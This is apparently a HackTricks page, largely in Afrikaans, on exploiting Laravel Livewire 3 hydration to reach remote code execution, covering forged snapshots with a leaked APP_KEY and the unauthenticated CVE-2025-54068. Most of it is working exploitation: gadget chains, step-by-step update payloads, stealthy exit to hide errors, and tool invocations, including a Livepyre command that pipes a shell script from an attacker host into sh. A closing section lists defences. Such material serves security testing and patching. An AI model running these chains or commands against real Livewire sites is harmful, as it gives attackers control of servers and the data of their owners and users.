Laravel Livewire Hydration & Synthesizer Abuse

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Opsomming van die Livewire state machine

Livewire 3-komponente ruil hul toestand uit deur middel van snapshots wat data, memo en ’n checksum bevat. Elke POST na /livewire/update herhidreer die JSON-snapshot aan die bedienerkant en voer die in die tou geplaatste calls/updates uit.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Enigiemand wat die APP_KEY besit (gebruik om $hashKey af te lei) kan dus ewekansige snapshots vervals deur die HMAC weer te bereken.

Komplekse eienskappe word gekodeer as sintetiese tuples wat opgespoor word deur Livewire\Drawer\BaseUtils::isSyntheticTuple(); elke tuple is [value, {"s":"<key>", ...meta}]. Die hydration-kern stuur eenvoudig elke tuple na die synth wat in HandleComponents::$propertySynthesizers gekies is en verwerk rekursief die kinders:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Hierdie rekursiewe ontwerp maak Livewire ’n generiese objek-instansierings-enjin sodra ’n aanvaller óf die tuple-metadata óf enige geneste tuple wat tydens die rekursie verwerk word, beheer.

Synthesizers wat gadget-primitives verskaf

SynthesizerGedrag beheer deur aanvaller
CollectionSynth (clctn)Instansieer new $meta['class']($value) nadat elke kind herhidreer is. Enige klas met ’n konstruktor wat ’n array aanvaar kan geskep word, en elke item kan self ’n sintetiese tuple wees.
FormObjectSynth (form)Roep new $meta['class']($component, $path), en ken dan elke publieke eienskap toe vanaf aanvaller-beheerde kinders via $hydrateChild. Konstruktore wat twee los getipeerde parameters (of standaardargs) aanvaar, is genoeg om by arbitrêre publieke eienskappe uit te kom.
ModelSynth (mdl)Wanneer key afwesig is in meta voer dit return new $class; uit, wat nul-argument-instantiasie van enige klas onder aanvallerbeheer toelaat.

Omdat synths $hydrateChild op elke geneste element aanroep, kan arbitrêre gadget-grafieke geskep word deur tuples rekursief op te stapel.

Vervalste snapshots wanneer APP_KEY bekend is

  1. Neem ’n geldige /livewire/update versoek vas en dekodeer components[0].snapshot.
  2. Injekteer geneste tuples wat na gadget-klasse wys en herbereken checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Her-kodeer die snapshot, hou _token/memo onaangeraak, en speel die versoek weer.

A minimal proof of execution uses Guzzle’s FnStream and Flysystem’s ShardedPrefixPublicUrlGenerator. One tuple instantiates FnStream with constructor data { "__toString": "phpinfo" }, the next instantiates ShardedPrefixPublicUrlGenerator with [FnStreamInstance] as $prefixes. When Flysystem casts each prefix to string, PHP invokes the attacker-provided __toString callable, calling any function without arguments.

Van funksie-aanroepe na volle RCE

Deur Livewire se instansiasie-primitiewe te benut, het Synacktiv phpggc se Laravel/RCE4 ketting aangepas sodat die hydrasie ’n objek opstart waarvan die publieke Queueable-toestand deserialisasie trigger:

  1. Queueable trait – enige objek wat Illuminate\Bus\Queueable gebruik openbaar publieke $chained en voer unserialize(array_shift($this->chained)) uit in dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) word geïnstansieer via CollectionSynth / FormObjectSynth met publieke $chained gevul.
  3. phpggc Laravel/RCE4Adapted – die geserialiseerde blob gestoor in $chained[0] bou PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() roep uiteindelik call_user_func_array($closure, $args) aan wat system($cmd) moontlik maak.
  4. Stealth termination – deur ’n tweede FnStream callable te gee soos [new Laravel\Prompts\Terminal(), 'exit'], eindig die versoek met exit() in plaas van ’n lawaaierige uitsondering, wat die HTTP-antwoord skoon hou.

Outomatisering van snapshot-vervalsings

synacktiv/laravel-crypto-killer stuur nou ’n livewire mode wat alles aaneenvleg:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Die tool ontleed die vasgevangde snapshot, injecteer die gadget tuples, herbereken die checksum, en druk ’n gereed-om-te-stuur /livewire/update payload.

CVE-2025-54068 – RCE sonder APP_KEY

Volgens die verskafferadvies beïnvloed die probleem Livewire v3 (>= 3.0.0-beta.1 en < 3.6.3) en is dit uniek aan v3.

updates word in die component state saamgesmelt na die snapshot checksum gevalideer is. As ’n property binne die snapshot ’n synthetic tuple is (of word), hergebruik Livewire sy meta terwyl dit die deur die aanvaller beheerde update-waarde hydrateer:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Uitbuitingsresep:

  1. Vind ’n Livewire-komponent met ’n ongetipe publieke eienskap (bv., public $count;).
  2. Stuur ’n update wat daardie eienskap op [] stel. Die volgende snapshot stoor dit nou as [[], {"s": "arr"}].

’n minimale tipe-wisselvloei lyk soos volg:

POST /livewire/update
...
"updates": {"count": []}

Dan stoor die volgende snapshot ’n tuple wat die arr synthesizer-metadata behou:

"count": [[], {"s": "arr"}]
  1. Stel ’n ander updates payload saam waar daardie eienskap ’n diep geneste array bevat wat tuple insluit soos [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Tydens rekursie evalueer hydrate() elke geneste kind onafhanklik, sodat aanvaller-gekose synth-sleutels/klasse gerespekteer word selfs al het die buitenste tuple en checksum nooit verander nie.
  3. Hergebruik dieselfde CollectionSynth/FormObjectSynth primitives om ’n Queueable gadget te instansieer waarvan $chained[0] die phpggc payload bevat. Livewire verwerk die vervalste updates, roep dispatchNextJobInChain() aan, en bereik system(<cmd>) sonder om APP_KEY te ken.

Belangrike redes waarom dit werk:

  • updates word nie deur die snapshot checksum gedek nie.
  • getMetaForPath() vertrou watter synth-metadata reeds vir daardie eienskap bestaan het, selfs as die aanvaller dit voorheen gedwing het om via swak tipering ’n tuple te word.
  • Rekursie plus swak tipering laat elke geneste array as ’n splinternuwe tuple geïnterpreteer word, sodat arbitrêre synth-sleutels en arbitrêre klasse uiteindelik by hydration uitkom.

Livepyre – end-to-end uitbuiting

Livepyre automatiseer beide die APP_KEY-less CVE en die signed-snapshot pad:

  • Fingerprints die gedeployde Livewire-weergawe deur <script src="/livewire/livewire.js?id=HASH"> te parseer en die hash aan kwesbare releases te koppel.
  • Versamel basis-snapshots deur goedaardige aksies te herhaal en components[].snapshot te onttrek.
  • Genereer óf ’n updates-only payload (CVE-2025-54068) óf ’n vervalste snapshot (bekende APP_KEY) wat die phpggc chain inbed.
  • As geen object-getipe parameter in ’n snapshot gevind word nie, val Livepyre terug op brute-forcing van kandidaat-params om ’n coercible property te bereik.

Tipiese gebruik:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check voer n nie-destruktiewe probe uit, -F slaan weergawe-heinings oor, -H en -P voeg pasgemaakte headers of proxies by, en --function/--param pas die php-funksie aan wat deur die gadget-ketting aangeroep word.

Verdedigingsmaatreëls

  • Werk op na die gefikste Livewire-bou (>= 3.6.4 volgens die kennisgewing van die verskaffer) en implementeer die verskaffer-patch vir CVE-2025-54068.
  • Vermy swak-getipe publieke eienskappe in Livewire-komponente; eksplisiete skalêre tipes keer dat eienskapswaardes gedwing word tot arrays/tuples.
  • Registreer slegs die sintetiseerders wat jy regtig nodig het en behandel gebruikersbeheerde metadata ($meta['class']) as onbetroubaar.
  • Verwerp opdaterings wat die JSON-tipe van ’n eienskap verander (bv. scalar -> array) tensy dit eksplisiet toegelaat word, en herskep synth-metadata eerder as om verouderde tuples te hergebruik.
  • Draai APP_KEY onmiddellik na enige openbaarmaking, want dit maak offline snapshot-forgery moontlik ongeag hoe goed die kodebasis gepatch is.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks